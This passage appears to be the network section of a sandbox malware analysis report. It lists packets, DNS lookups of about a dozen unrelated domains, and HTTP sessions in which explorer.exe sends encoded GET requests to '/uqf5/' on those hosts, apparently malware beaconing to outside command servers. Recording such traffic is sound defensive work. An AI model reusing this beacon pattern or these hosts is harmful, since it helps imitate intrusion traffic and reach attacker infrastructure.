Jun 11, 2021 15:02:39.242866039 CEST	49736	80	192.168.2.7	34.102.136.180
Jun 11, 2021 15:02:39.284816027 CEST	80	49736	34.102.136.180	192.168.2.7
Jun 11, 2021 15:02:39.380528927 CEST	80	49736	34.102.136.180	192.168.2.7
Jun 11, 2021 15:02:39.380544901 CEST	80	49736	34.102.136.180	192.168.2.7
Jun 11, 2021 15:02:39.380672932 CEST	49736	80	192.168.2.7	34.102.136.180
Jun 11, 2021 15:02:39.380791903 CEST	49736	80	192.168.2.7	34.102.136.180
Jun 11, 2021 15:02:39.422661066 CEST	80	49736	34.102.136.180	192.168.2.7
Jun 11, 2021 15:02:44.466555119 CEST	49737	80	192.168.2.7	156.241.53.127
Jun 11, 2021 15:02:44.697666883 CEST	80	49737	156.241.53.127	192.168.2.7
Jun 11, 2021 15:02:44.697839022 CEST	49737	80	192.168.2.7	156.241.53.127
Jun 11, 2021 15:02:44.697962046 CEST	49737	80	192.168.2.7	156.241.53.127
Jun 11, 2021 15:02:44.928677082 CEST	80	49737	156.241.53.127	192.168.2.7
Jun 11, 2021 15:02:45.199877977 CEST	49737	80	192.168.2.7	156.241.53.127
Jun 11, 2021 15:02:45.469887018 CEST	80	49737	156.241.53.127	192.168.2.7
Jun 11, 2021 15:02:45.473994017 CEST	80	49737	156.241.53.127	192.168.2.7
Jun 11, 2021 15:02:45.474014044 CEST	80	49737	156.241.53.127	192.168.2.7
Jun 11, 2021 15:02:45.474118948 CEST	49737	80	192.168.2.7	156.241.53.127
Jun 11, 2021 15:02:45.474155903 CEST	49737	80	192.168.2.7	156.241.53.127
Jun 11, 2021 15:02:50.305583954 CEST	49738	80	192.168.2.7	184.168.131.241
Jun 11, 2021 15:02:50.500479937 CEST	80	49738	184.168.131.241	192.168.2.7
Jun 11, 2021 15:02:50.500680923 CEST	49738	80	192.168.2.7	184.168.131.241
Jun 11, 2021 15:02:50.500833035 CEST	49738	80	192.168.2.7	184.168.131.241
Jun 11, 2021 15:02:50.695952892 CEST	80	49738	184.168.131.241	192.168.2.7
Jun 11, 2021 15:02:50.718878031 CEST	80	49738	184.168.131.241	192.168.2.7
Jun 11, 2021 15:02:50.718913078 CEST	80	49738	184.168.131.241	192.168.2.7
Jun 11, 2021 15:02:50.719070911 CEST	49738	80	192.168.2.7	184.168.131.241
Jun 11, 2021 15:02:50.719149113 CEST	49738	80	192.168.2.7	184.168.131.241
Jun 11, 2021 15:02:50.913141966 CEST	80	49738	184.168.131.241	192.168.2.7
Jun 11, 2021 15:02:55.855372906 CEST	49739	80	192.168.2.7	104.21.64.212
Jun 11, 2021 15:02:55.899477959 CEST	80	49739	104.21.64.212	192.168.2.7
Jun 11, 2021 15:02:55.900799036 CEST	49739	80	192.168.2.7	104.21.64.212
Jun 11, 2021 15:02:55.901098967 CEST	49739	80	192.168.2.7	104.21.64.212
Jun 11, 2021 15:02:55.945395947 CEST	80	49739	104.21.64.212	192.168.2.7
Jun 11, 2021 15:02:56.303220987 CEST	80	49739	104.21.64.212	192.168.2.7
Jun 11, 2021 15:02:56.303244114 CEST	80	49739	104.21.64.212	192.168.2.7
Jun 11, 2021 15:02:56.303296089 CEST	80	49739	104.21.64.212	192.168.2.7
Jun 11, 2021 15:02:56.303396940 CEST	49739	80	192.168.2.7	104.21.64.212
Jun 11, 2021 15:02:56.303426981 CEST	49739	80	192.168.2.7	104.21.64.212
Jun 11, 2021 15:02:56.303518057 CEST	49739	80	192.168.2.7	104.21.64.212
Jun 11, 2021 15:03:01.381918907 CEST	49746	80	192.168.2.7	34.102.136.180
Jun 11, 2021 15:03:01.424647093 CEST	80	49746	34.102.136.180	192.168.2.7
Jun 11, 2021 15:03:01.424876928 CEST	49746	80	192.168.2.7	34.102.136.180
Jun 11, 2021 15:03:01.424962997 CEST	49746	80	192.168.2.7	34.102.136.180
Jun 11, 2021 15:03:01.466937065 CEST	80	49746	34.102.136.180	192.168.2.7
Jun 11, 2021 15:03:01.563910007 CEST	80	49746	34.102.136.180	192.168.2.7
Jun 11, 2021 15:03:01.563935995 CEST	80	49746	34.102.136.180	192.168.2.7
Jun 11, 2021 15:03:01.564239979 CEST	49746	80	192.168.2.7	34.102.136.180
Jun 11, 2021 15:03:01.564289093 CEST	49746	80	192.168.2.7	34.102.136.180
Jun 11, 2021 15:03:01.606385946 CEST	80	49746	34.102.136.180	192.168.2.7
Jun 11, 2021 15:03:06.679408073 CEST	49752	80	192.168.2.7	45.140.167.161
Jun 11, 2021 15:03:06.761852026 CEST	80	49752	45.140.167.161	192.168.2.7
Jun 11, 2021 15:03:06.761985064 CEST	49752	80	192.168.2.7	45.140.167.161
Jun 11, 2021 15:03:06.762137890 CEST	49752	80	192.168.2.7	45.140.167.161
Jun 11, 2021 15:03:06.846729994 CEST	80	49752	45.140.167.161	192.168.2.7
Jun 11, 2021 15:03:06.846755028 CEST	80	49752	45.140.167.161	192.168.2.7
Jun 11, 2021 15:03:06.846764088 CEST	80	49752	45.140.167.161	192.168.2.7
Jun 11, 2021 15:03:06.846957922 CEST	49752	80	192.168.2.7	45.140.167.161
Jun 11, 2021 15:03:06.847050905 CEST	49752	80	192.168.2.7	45.140.167.161
Jun 11, 2021 15:03:06.929241896 CEST	80	49752	45.140.167.161	192.168.2.7
Jun 11, 2021 15:03:12.183099031 CEST	49753	80	192.168.2.7	160.16.235.37
Jun 11, 2021 15:03:12.500047922 CEST	80	49753	160.16.235.37	192.168.2.7
Jun 11, 2021 15:03:12.500157118 CEST	49753	80	192.168.2.7	160.16.235.37
Jun 11, 2021 15:03:12.500335932 CEST	49753	80	192.168.2.7	160.16.235.37
Jun 11, 2021 15:03:12.824491978 CEST	80	49753	160.16.235.37	192.168.2.7
Jun 11, 2021 15:03:13.015091896 CEST	49753	80	192.168.2.7	160.16.235.37
Jun 11, 2021 15:03:13.179290056 CEST	80	49753	160.16.235.37	192.168.2.7
Jun 11, 2021 15:03:13.179346085 CEST	80	49753	160.16.235.37	192.168.2.7
Jun 11, 2021 15:03:13.179480076 CEST	49753	80	192.168.2.7	160.16.235.37
Jun 11, 2021 15:03:13.179522038 CEST	49753	80	192.168.2.7	160.16.235.37
Jun 11, 2021 15:03:13.341561079 CEST	80	49753	160.16.235.37	192.168.2.7
Jun 11, 2021 15:03:13.341681004 CEST	49753	80	192.168.2.7	160.16.235.37
Jun 11, 2021 15:03:18.103177071 CEST	49754	80	192.168.2.7	172.67.155.26
Jun 11, 2021 15:03:18.145653963 CEST	80	49754	172.67.155.26	192.168.2.7
Jun 11, 2021 15:03:18.145791054 CEST	49754	80	192.168.2.7	172.67.155.26
Jun 11, 2021 15:03:18.145966053 CEST	49754	80	192.168.2.7	172.67.155.26
Jun 11, 2021 15:03:18.188225031 CEST	80	49754	172.67.155.26	192.168.2.7
Jun 11, 2021 15:03:18.554022074 CEST	80	49754	172.67.155.26	192.168.2.7
Jun 11, 2021 15:03:18.554052114 CEST	80	49754	172.67.155.26	192.168.2.7
Jun 11, 2021 15:03:18.554068089 CEST	80	49754	172.67.155.26	192.168.2.7
Jun 11, 2021 15:03:18.554302931 CEST	49754	80	192.168.2.7	172.67.155.26
Jun 11, 2021 15:03:18.554362059 CEST	49754	80	192.168.2.7	172.67.155.26

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 11, 2021 15:01:05.177478075 CEST	53	50848	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:05.897979021 CEST	61242	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:05.959697008 CEST	53	61242	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:06.743117094 CEST	58562	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:06.796161890 CEST	53	58562	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:06.812563896 CEST	56590	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:06.875586987 CEST	53	56590	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:07.876682997 CEST	60501	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:07.929701090 CEST	53	60501	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:08.693548918 CEST	53775	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:08.744138956 CEST	53	53775	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:10.295377970 CEST	51837	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:10.346415997 CEST	53	51837	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:11.355870962 CEST	55411	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:11.410727024 CEST	53	55411	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:12.205920935 CEST	63668	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:12.258956909 CEST	53	63668	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:13.037837982 CEST	54640	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:13.088531017 CEST	53	54640	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:14.831624031 CEST	58739	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:14.881788015 CEST	53	58739	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:16.358023882 CEST	60338	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:16.418981075 CEST	53	60338	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:17.480354071 CEST	58717	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:17.538949966 CEST	53	58717	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:18.463524103 CEST	59762	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:18.522057056 CEST	53	59762	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:19.502006054 CEST	54329	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:19.553842068 CEST	53	54329	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:20.391136885 CEST	58052	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:20.444854975 CEST	53	58052	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:21.614422083 CEST	54008	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:21.670382977 CEST	53	54008	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:22.619143963 CEST	59451	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:22.669414997 CEST	53	59451	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:23.962366104 CEST	52914	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:24.012793064 CEST	53	52914	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:24.788630962 CEST	64569	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:24.839795113 CEST	53	64569	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:26.421053886 CEST	52816	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:26.474507093 CEST	53	52816	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:27.944726944 CEST	50781	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:27.995223045 CEST	53	50781	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:29.080718994 CEST	54230	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:29.140707970 CEST	53	54230	8.8.8.8	192.168.2.7
Jun 11, 2021 15:01:42.155872107 CEST	54911	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:01:42.222920895 CEST	53	54911	8.8.8.8	192.168.2.7
Jun 11, 2021 15:02:01.328617096 CEST	49958	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:02:01.390433073 CEST	53	49958	8.8.8.8	192.168.2.7
Jun 11, 2021 15:02:23.026298046 CEST	50860	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:02:23.098263025 CEST	53	50860	8.8.8.8	192.168.2.7
Jun 11, 2021 15:02:24.204824924 CEST	50452	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:02:24.265928984 CEST	53	50452	8.8.8.8	192.168.2.7
Jun 11, 2021 15:02:24.752355099 CEST	59730	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:02:24.810847998 CEST	53	59730	8.8.8.8	192.168.2.7
Jun 11, 2021 15:02:28.253508091 CEST	59310	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:02:28.314877987 CEST	53	59310	8.8.8.8	192.168.2.7
Jun 11, 2021 15:02:33.532628059 CEST	51919	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:02:33.722217083 CEST	53	51919	8.8.8.8	192.168.2.7
Jun 11, 2021 15:02:37.484868050 CEST	64296	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:02:37.548674107 CEST	53	64296	8.8.8.8	192.168.2.7
Jun 11, 2021 15:02:39.128118038 CEST	56680	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:02:39.196547985 CEST	53	56680	8.8.8.8	192.168.2.7
Jun 11, 2021 15:02:44.393404961 CEST	58820	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:02:44.465208054 CEST	53	58820	8.8.8.8	192.168.2.7
Jun 11, 2021 15:02:50.241206884 CEST	60983	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:02:50.304538012 CEST	53	60983	8.8.8.8	192.168.2.7
Jun 11, 2021 15:02:55.763794899 CEST	49247	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:02:55.854321957 CEST	53	49247	8.8.8.8	192.168.2.7
Jun 11, 2021 15:02:57.227232933 CEST	52286	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:02:57.558588982 CEST	53	52286	8.8.8.8	192.168.2.7
Jun 11, 2021 15:02:58.078527927 CEST	56064	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:02:58.150332928 CEST	53	56064	8.8.8.8	192.168.2.7
Jun 11, 2021 15:02:58.299998045 CEST	63744	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:02:58.358923912 CEST	53	63744	8.8.8.8	192.168.2.7
Jun 11, 2021 15:02:59.172753096 CEST	61457	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:02:59.396074057 CEST	53	61457	8.8.8.8	192.168.2.7
Jun 11, 2021 15:03:00.137270927 CEST	58367	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:03:00.198405981 CEST	53	58367	8.8.8.8	192.168.2.7
Jun 11, 2021 15:03:01.104094028 CEST	60599	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:03:01.163064957 CEST	53	60599	8.8.8.8	192.168.2.7
Jun 11, 2021 15:03:01.314871073 CEST	59571	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:03:01.378590107 CEST	53	59571	8.8.8.8	192.168.2.7
Jun 11, 2021 15:03:02.057399988 CEST	52689	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:03:02.116549015 CEST	53	52689	8.8.8.8	192.168.2.7
Jun 11, 2021 15:03:02.653374910 CEST	50290	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:03:02.712276936 CEST	53	50290	8.8.8.8	192.168.2.7
Jun 11, 2021 15:03:04.352818966 CEST	60427	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:03:04.411262989 CEST	53	60427	8.8.8.8	192.168.2.7
Jun 11, 2021 15:03:05.485431910 CEST	56209	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:03:05.536890030 CEST	53	56209	8.8.8.8	192.168.2.7
Jun 11, 2021 15:03:06.129554987 CEST	59582	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:03:06.188199997 CEST	53	59582	8.8.8.8	192.168.2.7
Jun 11, 2021 15:03:06.580559015 CEST	60949	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:03:06.678253889 CEST	53	60949	8.8.8.8	192.168.2.7
Jun 11, 2021 15:03:11.884677887 CEST	58542	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:03:12.181862116 CEST	53	58542	8.8.8.8	192.168.2.7
Jun 11, 2021 15:03:18.036056042 CEST	59179	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:03:18.101866007 CEST	53	59179	8.8.8.8	192.168.2.7
Jun 11, 2021 15:03:23.564357996 CEST	60927	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:03:23.635313988 CEST	53	60927	8.8.8.8	192.168.2.7
Jun 11, 2021 15:03:28.908108950 CEST	57854	53	192.168.2.7	8.8.8.8
Jun 11, 2021 15:03:29.002484083 CEST	53	57854	8.8.8.8	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jun 11, 2021 15:02:23.026298046 CEST	192.168.2.7	8.8.8.8	0x39ea	Standard query (0)	www.prltoday.com	A (IP address)	IN (0x0001)
Jun 11, 2021 15:02:28.253508091 CEST	192.168.2.7	8.8.8.8	0x14fe	Standard query (0)	www.gorditasdemaiz.com	A (IP address)	IN (0x0001)
Jun 11, 2021 15:02:33.532628059 CEST	192.168.2.7	8.8.8.8	0xdff4	Standard query (0)	www.mexicobeachselfstorage.com	A (IP address)	IN (0x0001)
Jun 11, 2021 15:02:39.128118038 CEST	192.168.2.7	8.8.8.8	0xa3b0	Standard query (0)	www.tylerrucarean.com	A (IP address)	IN (0x0001)
Jun 11, 2021 15:02:44.393404961 CEST	192.168.2.7	8.8.8.8	0x236f	Standard query (0)	www.cgjanvier.com	A (IP address)	IN (0x0001)
Jun 11, 2021 15:02:50.241206884 CEST	192.168.2.7	8.8.8.8	0xcfa8	Standard query (0)	www.flockuplabs.com	A (IP address)	IN (0x0001)
Jun 11, 2021 15:02:55.763794899 CEST	192.168.2.7	8.8.8.8	0x1514	Standard query (0)	www.culturalinterface.net	A (IP address)	IN (0x0001)
Jun 11, 2021 15:03:01.314871073 CEST	192.168.2.7	8.8.8.8	0x60e8	Standard query (0)	www.toolbnbapp.com	A (IP address)	IN (0x0001)
Jun 11, 2021 15:03:06.580559015 CEST	192.168.2.7	8.8.8.8	0x4898	Standard query (0)	www.trainup-wall.com	A (IP address)	IN (0x0001)
Jun 11, 2021 15:03:11.884677887 CEST	192.168.2.7	8.8.8.8	0xfe17	Standard query (0)	www.paolograssino.com	A (IP address)	IN (0x0001)
Jun 11, 2021 15:03:18.036056042 CEST	192.168.2.7	8.8.8.8	0xbf6c	Standard query (0)	www.a-prime-india-demataccount.zone	A (IP address)	IN (0x0001)
Jun 11, 2021 15:03:23.564357996 CEST	192.168.2.7	8.8.8.8	0x7819	Standard query (0)	www.homeanddesignstudio.com	A (IP address)	IN (0x0001)
Jun 11, 2021 15:03:28.908108950 CEST	192.168.2.7	8.8.8.8	0xae66	Standard query (0)	www.stays.travel	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jun 11, 2021 15:02:23.098263025 CEST	8.8.8.8	192.168.2.7	0x39ea	No error (0)	www.prltoday.com		213.186.33.5	A (IP address)	IN (0x0001)
Jun 11, 2021 15:02:24.265928984 CEST	8.8.8.8	192.168.2.7	0xf143	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.akadns.net		CNAME (Canonical name)	IN (0x0001)
Jun 11, 2021 15:02:28.314877987 CEST	8.8.8.8	192.168.2.7	0x14fe	No error (0)	www.gorditasdemaiz.com		151.101.0.119	A (IP address)	IN (0x0001)
Jun 11, 2021 15:02:33.722217083 CEST	8.8.8.8	192.168.2.7	0xdff4	No error (0)	www.mexicobeachselfstorage.com	mexicobeachselfstorage.com		CNAME (Canonical name)	IN (0x0001)
Jun 11, 2021 15:02:33.722217083 CEST	8.8.8.8	192.168.2.7	0xdff4	No error (0)	mexicobeachselfstorage.com		162.241.253.69	A (IP address)	IN (0x0001)
Jun 11, 2021 15:02:39.196547985 CEST	8.8.8.8	192.168.2.7	0xa3b0	No error (0)	www.tylerrucarean.com	tylerrucarean.com		CNAME (Canonical name)	IN (0x0001)
Jun 11, 2021 15:02:39.196547985 CEST	8.8.8.8	192.168.2.7	0xa3b0	No error (0)	tylerrucarean.com		34.102.136.180	A (IP address)	IN (0x0001)
Jun 11, 2021 15:02:44.465208054 CEST	8.8.8.8	192.168.2.7	0x236f	No error (0)	www.cgjanvier.com		156.241.53.127	A (IP address)	IN (0x0001)
Jun 11, 2021 15:02:50.304538012 CEST	8.8.8.8	192.168.2.7	0xcfa8	No error (0)	www.flockuplabs.com	flockuplabs.com		CNAME (Canonical name)	IN (0x0001)
Jun 11, 2021 15:02:50.304538012 CEST	8.8.8.8	192.168.2.7	0xcfa8	No error (0)	flockuplabs.com		184.168.131.241	A (IP address)	IN (0x0001)
Jun 11, 2021 15:02:55.854321957 CEST	8.8.8.8	192.168.2.7	0x1514	No error (0)	www.culturalinterface.net		104.21.64.212	A (IP address)	IN (0x0001)
Jun 11, 2021 15:02:55.854321957 CEST	8.8.8.8	192.168.2.7	0x1514	No error (0)	www.culturalinterface.net		172.67.187.224	A (IP address)	IN (0x0001)
Jun 11, 2021 15:03:01.378590107 CEST	8.8.8.8	192.168.2.7	0x60e8	No error (0)	www.toolbnbapp.com	toolbnbapp.com		CNAME (Canonical name)	IN (0x0001)
Jun 11, 2021 15:03:01.378590107 CEST	8.8.8.8	192.168.2.7	0x60e8	No error (0)	toolbnbapp.com		34.102.136.180	A (IP address)	IN (0x0001)
Jun 11, 2021 15:03:06.678253889 CEST	8.8.8.8	192.168.2.7	0x4898	No error (0)	www.trainup-wall.com		45.140.167.161	A (IP address)	IN (0x0001)
Jun 11, 2021 15:03:12.181862116 CEST	8.8.8.8	192.168.2.7	0xfe17	No error (0)	www.paolograssino.com	paolograssino.com		CNAME (Canonical name)	IN (0x0001)
Jun 11, 2021 15:03:12.181862116 CEST	8.8.8.8	192.168.2.7	0xfe17	No error (0)	paolograssino.com		160.16.235.37	A (IP address)	IN (0x0001)
Jun 11, 2021 15:03:18.101866007 CEST	8.8.8.8	192.168.2.7	0xbf6c	No error (0)	www.a-prime-india-demataccount.zone		172.67.155.26	A (IP address)	IN (0x0001)
Jun 11, 2021 15:03:18.101866007 CEST	8.8.8.8	192.168.2.7	0xbf6c	No error (0)	www.a-prime-india-demataccount.zone		104.21.42.16	A (IP address)	IN (0x0001)
Jun 11, 2021 15:03:23.635313988 CEST	8.8.8.8	192.168.2.7	0x7819	No error (0)	www.homeanddesignstudio.com	www17.wixdns.net		CNAME (Canonical name)	IN (0x0001)
Jun 11, 2021 15:03:23.635313988 CEST	8.8.8.8	192.168.2.7	0x7819	No error (0)	www17.wixdns.net	balancer.wixdns.net		CNAME (Canonical name)	IN (0x0001)
Jun 11, 2021 15:03:23.635313988 CEST	8.8.8.8	192.168.2.7	0x7819	No error (0)	balancer.wixdns.net	5f36b111-balancer.wixdns.net		CNAME (Canonical name)	IN (0x0001)
Jun 11, 2021 15:03:23.635313988 CEST	8.8.8.8	192.168.2.7	0x7819	No error (0)	5f36b111-balancer.wixdns.net	td-balancer-euw2-6-109.wixdns.net		CNAME (Canonical name)	IN (0x0001)
Jun 11, 2021 15:03:23.635313988 CEST	8.8.8.8	192.168.2.7	0x7819	No error (0)	td-balancer-euw2-6-109.wixdns.net		35.246.6.109	A (IP address)	IN (0x0001)
Jun 11, 2021 15:03:29.002484083 CEST	8.8.8.8	192.168.2.7	0xae66	No error (0)	www.stays.travel		91.195.240.94	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.prltoday.com

www.gorditasdemaiz.com

www.mexicobeachselfstorage.com

www.tylerrucarean.com

www.cgjanvier.com

www.flockuplabs.com

www.culturalinterface.net

www.toolbnbapp.com

www.trainup-wall.com

www.paolograssino.com

www.a-prime-india-demataccount.zone

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49724	213.186.33.5	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 11, 2021 15:02:23.166137934 CEST	1423	OUT	GET /uqf5/?7nBTylox=F/Xh9v+g7Cdwl5upkcpMZ8e4b+3WpLzzeVKIM3R3duzbf3evtWksiEg580T900Haqnq5nepxFw==&x2J86x=b0DT HTTP/1.1 Host: www.prltoday.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 11, 2021 15:02:23.234405994 CEST	1423	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Fri, 11 Jun 2021 13:02:23 GMT Content-Type: text/html Content-Length: 138 Connection: close Location: http://www.prltoday.com X-IPLB-Instance: 16976 Set-Cookie: SERVERID77446=200179\|YMNe4\|YMNe4; path=/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49729	151.101.0.119	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 11, 2021 15:02:28.365811110 CEST	1541	OUT	GET /uqf5/?7nBTylox=RIGbPleGLKfxQTAe4w4l83Ie2Cv1rNcMEGxhR3mrD7G7p1l+kx0Gi9Gk7nXoQ0ETWUCd/ihSFA==&x2J86x=b0DT HTTP/1.1 Host: www.gorditasdemaiz.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 11, 2021 15:02:28.514069080 CEST	1542	IN	HTTP/1.1 301 Moved Permanently server: adobe location: http://gorditasdemaiz.com/uqf5/?7nBTylox=RIGbPleGLKfxQTAe4w4l83Ie2Cv1rNcMEGxhR3mrD7G7p1l+kx0Gi9Gk7nXoQ0ETWUCd/ihSFA==&x2J86x=b0DT cache-control: s-maxage=31536000 x-trace-id: sAT0ESH7EmdVgwN4n3lOaOqWFb8 x-app-name: Pro2-Renderer x-xss-protection: 1; mode=block x-content-type-options: nosniff Content-Length: 0 Accept-Ranges: bytes Date: Fri, 11 Jun 2021 13:02:28 GMT Via: 1.1 varnish Age: 0 Connection: close X-Served-By: cache-hhn4022-HHN X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1623416548.402593,VS0,VE103 Vary: Fastly-SSL, X-Use-Renderer

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.7	49754	172.67.155.26	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 11, 2021 15:03:18.145966053 CEST	5520	OUT	GET /uqf5/?7nBTylox=RQXRa0j10XdpS+WphiMG79Lf9dki4UzLVajXOJjWNMbn24QJDQJAUPqvADWkiraA7rP5UEZeUQ==&x2J86x=b0DT HTTP/1.1 Host: www.a-prime-india-demataccount.zone Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 11, 2021 15:03:18.554022074 CEST	5521	IN	HTTP/1.1 404 Not Found Date: Fri, 11 Jun 2021 13:03:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC cf-request-id: 0a9cc486a20000c2865d0ba000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=UemJ8pwfg8Bz2dxojwItmf4aQ5D7zpo3A2wjaTaS8yOEf8IrxQvson%2B26W8Gpt%2Bzq2shQRo8vwZG24MbZziDzTX3iMVad1ngOnRNfsyDmXAdxjS7GCMkKXNH8HoMU4ybIfBo49jp5Qm0FKvJS4cdyMw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 65db09ea9a35c286-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 39 39 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: 99<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.16.0</center></body></html>
Jun 11, 2021 15:03:18.554052114 CEST	5521	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49730	162.241.253.69	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
